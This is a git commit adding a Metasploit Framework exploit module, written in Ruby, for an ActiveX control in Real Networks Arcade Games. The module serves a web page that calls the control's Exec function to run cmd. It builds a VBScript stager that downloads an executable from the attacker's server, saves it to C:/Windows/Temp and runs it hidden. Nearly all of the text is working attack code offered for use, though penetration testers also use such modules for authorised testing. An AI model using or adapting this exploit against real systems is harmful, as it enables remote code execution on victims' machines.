add osvdb ref. rename file to correct typo

git-svn-id: file:///home/svn/framework3/trunk@12279 4d416f70-5f16-0410-b530-b9f4589650da
2011-04-08 12:41:18 +00:00 · 2011-04-08 12:41:18 +00:00 · bb26593da7
parent 8efd5ce82c
commit bb26593da7
1 changed files with 117 additions and 0 deletions
--- a/modules/exploits/windows/browser/real_arcade_installerdlg.rb
+++ b/modules/exploits/windows/browser/real_arcade_installerdlg.rb
@ -0,0 +1,117 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::Remote::HttpServer::HTML
+	include Msf::Exploit::EXE
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution',
+			'Description'    => %q{
+					This module exploits a vulnerability in Real Networks Acrade Game's ActiveX control. The "exec"
+				function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands
+				on the victim machine.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+					[
+						'rgod',    #Initial discovery, poc
+						'sinn3r',  #msf
+					],
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'OSVDB', '71559' ],
+					[ 'URL', 'http://www.exploit-db.com/exploits/17105/' ]
+				],
+			'Payload'        =>
+				{
+					'Space'    => 1024,
+					'BadChars' => "\x00",
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows Universal',  {} ],
+				],
+			'DisclosureDate' => 'Apri 3 2011',
+			'DefaultTarget'  => 0))
+	end
+
+	# Unfortunately if we echo the vbs cmdstager too many times, we tend to have random missing lines in
+	# either the payload or the vbs script.  To avoid this problem, I ended up writing this custom routine
+	# that only uses one echo.
+	def build_vbs(url, payload_name, stager_name)
+		name_xmlhttp = rand_text_alpha(2)
+		name_adodb   = rand_text_alpha(2)
+
+		tmp = "#{@temp_folder}/#{stager_name}"
+
+		vbs  = "echo Set #{name_xmlhttp} = CreateObject(\"\"Microsoft.XMLHTTP\"\") "
+		vbs << ": #{name_xmlhttp}.open \"\"GET\"\",\"\"http://#{url}\"\",False : #{name_xmlhttp}.send"
+		vbs << ": Set #{name_adodb} = CreateObject(\"\"ADODB.Stream\"\") "
+		vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
+		vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
+		vbs << ": #{name_adodb}.SaveToFile \"\"C:/Windows/Temp/#{payload_name}.exe\"\",2 "
+		vbs << ": CreateObject(\"\"WScript.Shell\"\").Run \"\"C:/Windows/Temp/#{payload_name}.exe\"\",0 >> #{tmp}"
+
+		return vbs
+	end
+
+	def exploit
+		@payload_name = rand_text_alpha(4)
+		@temp_folder  = "C:/Windows/Temp"
+		super
+	end
+
+	def on_request_uri(cli, request)
+		if request.uri =~ /\.exe/
+			print_status("Sending payload to #{cli.peerhost}:#{cli.peerport}...")
+			return if ((p=regenerate_payload(cli)) == nil)
+			data = generate_payload_exe( {:code=>p.encoded} )
+			send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
+			return
+		end
+
+		# Payload's URL
+		payload_src  = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+		payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe"
+
+		# Create the stager (download + execute payload)
+		stager_name = rand_text_alpha(6) + ".vbs"
+		stager      = build_vbs(payload_src, @payload_name, stager_name)
+
+		html_obj_name = rand_text_alpha(6)
+
+		html = <<-EOS
+		<html>
+		<object classid='clsid:5818813E-D53D-47A5-ABBB-37E2A07056B5' id='#{html_obj_name}' />
+		</object>
+		<script language='vbscript'>
+		#{html_obj_name}.Exec "cmd","/c #{stager}",1,1,""
+		setTimeout "x=1", 3000
+		#{html_obj_name}.Exec "cmd","/c start #{@temp_folder}/#{stager_name}",1,1,""
+		</script>
+		</html>
+		EOS
+
+		# Remove extra tabs
+		html = html.gsub(/^\t\t/, "")
+
+		print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
+		send_response(cli, html, { 'Content-Type' => 'text/html' })
+	end
+end